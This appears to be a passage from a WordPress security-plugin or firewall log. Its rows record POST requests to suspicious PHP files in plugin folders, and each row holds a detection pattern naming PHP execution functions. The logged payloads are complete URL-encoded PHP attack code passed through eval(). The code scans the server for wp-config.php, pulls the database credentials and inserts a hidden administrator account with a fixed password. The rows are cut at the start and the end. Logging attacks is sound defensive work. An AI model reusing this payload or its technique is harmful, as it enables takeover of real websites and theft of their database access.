0%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:24:09","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nVmQHcs=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:24:28","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 